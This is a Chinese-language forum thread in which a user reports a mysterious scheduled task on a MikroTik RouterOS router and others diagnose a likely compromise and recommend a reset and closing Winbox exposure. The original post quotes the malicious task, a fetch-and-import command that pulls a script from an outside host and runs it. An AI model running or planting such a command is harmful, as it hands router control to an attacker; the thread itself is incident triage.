. : : ClassiClub ForuM : : .

会员中心 论坛帮助 日历事件 标记论坛已读
返回   精品技术论坛 » 技术论坛 » 『软件使用』

『软件使用』: 电脑软件推荐, 电脑软件使用, 经验分享



发表新主题 回复
 
主题工具
whhs
 
whhs 的头像
高级会员
 
资 料:
注册日期: Oct 2001
帖子: 606 声望值: 4
精华: 0,解答: 2
#1 旧 2021-06-16, 23:07:00 默认 已解答: 【求助】ros计划里面多了个任务
whhs 当前离线  

前2天学习ROS的安装,今天突然发现计划里有个任务,执行的是

/tool fetch url=http://myfrance.xyz/poll/04a91835-5be5-4bb7-ab3c-ee2570c02fc6 mode=http dst-path=7wmp0b4s.rsc
/import 7wmp0b4s.rsc

请教一下是被黑了吗?会偷走什么信息?
我看这个任务owner是admin,但是我设置了禁止admin用户的,登录也只保留了winbox登录且内网登陆,都不知道是啥时候冒出来的,系统我也升级到6.48.3了的
上传的图像
文件类型: jpg 捕获.JPG (40.1 KB, 144 次查看)
文件类型: jpg 捕获1.JPG (22.4 KB, 143 次查看)
文件类型: jpg 捕获2.JPG (29.5 KB, 143 次查看)

此帖于 2021-06-16 23:18:03 被 whhs 编辑. .
回复时引用此帖
最佳解答为:boycity
.rsc是routeos的配置文件吧。
你这被导入了配置文件。。。如果这个文件找不到了,不知道修改了什么配置,保险起见,做个reset吧。
oar
 
oar 的头像
终极会员
 
资 料:
注册日期: Oct 2000
帖子: 9,008 声望值: 3
精华: 0,解答: 14
#2 旧 2021-06-17, 00:42:39 默认
oar 当前离线  

若是这个任务不是你操作的,好像是被肉鸡了?


It's a sad fact of life. Lies are lies ,and sometimes the truth can lies as well.
回复时引用此帖
eason39
 
eason39 的头像
普通会员
 
资 料:
注册日期: Jan 2019
帖子: 9 声望值: 0
精华: 0
#3 旧 2021-06-17, 01:18:38 默认
eason39 当前离线  

把admin账户删除,再建立个自定义账户,这个任务不是你做的,肯定是被黑了。有可能是进了你的电脑,从局域网登录的,可以查下log。
回复时引用此帖
2smile
 
2smile 的头像
合作伙伴
 
资 料:
注册日期: Jun 2001
帖子: 10,835 声望值: 7
精华: 3,解答: 5
#4 旧 2021-06-17, 06:52:08 默认
2smile 当前离线  

还有一种可能,在你禁用admin前就被肉鸡了,我有一次港装完,连上外网,一会就出来个这


从我的 iPhone 发送,使用 Tapatalk Pro
回复时引用此帖
whhs
 
whhs 的头像
高级会员
 
资 料:
注册日期: Oct 2001
帖子: 606 声望值: 4
精华: 0,解答: 2
#5 旧 2021-06-17, 08:55:00 默认
whhs 当前离线  

引用:
作者: 2smile 查看帖子
还有一种可能,在你禁用admin前就被肉鸡了,我有一次港装完,连上外网,一会就出来个这


从我的 iPhone 发送,使用 Tapatalk Pro
你这么说还真有可能,请问出现这个会泄漏什么信息,我客户端电脑上chrome保存了不少密码,会被泄露吗?
回复时引用此帖
twnet
 
twnet 的头像
合作伙伴
 
资 料:
注册日期: Mar 2002
帖子: 1,346 声望值: 7
精华: 0,解答: 1
#6 旧 2021-06-17, 09:20:35 默认
twnet 当前离线  

我把默认端口改了。好了很多。
回复时引用此帖
sheayone
 
sheayone 的头像
热心会员
 
资 料:
注册日期: Feb 2011
帖子: 477 声望值: 3
精华: 0,解答: 6
#7 旧 2021-06-17, 11:44:35 默认
sheayone 当前离线  

改不改默认端口不重要,关键还是不要对internet暴露winbox端口,可以通过SSH(仅密钥登录) port forward过去,会安全很多


Only the paranoid survives.
回复时引用此帖
boycity
 
boycity 的头像
支柱会员
 
资 料:
注册日期: Jun 2002
帖子: 5,913 声望值: 2
精华: 1,解答: 3
#8 旧 2021-06-17, 12:39:38 默认
boycity 当前离线  

.rsc是routeos的配置文件吧。
你这被导入了配置文件。。。如果这个文件找不到了,不知道修改了什么配置,保险起见,做个reset吧。



回复时引用此帖
whhs
 
whhs 的头像
高级会员
 
资 料:
注册日期: Oct 2001
帖子: 606 声望值: 4
精华: 0,解答: 2
#9 旧 2021-06-17, 14:45:12 默认
whhs 当前离线  

谢谢大家都热心解答,重置一下安心点
回复时引用此帖
发表新主题 回复

主题工具

论坛规则  发帖规则
不可以发表主题
不可以回复帖子
不可以上传附件
不可以编辑自己的帖子
论坛启用 vB 代码
版面启用 表情符号
版面启用 [IMG] 代码
版面禁用 HTML 代码


所有时间均为北京时间, 现在的时间是 01:46:21.

本论坛带宽由迅通网络提供
SSL证书由TrustAsia提供

Copyright © 2000 - 2019 ClassiClub Forum All Rights Reserved.
粤ICP备09123456号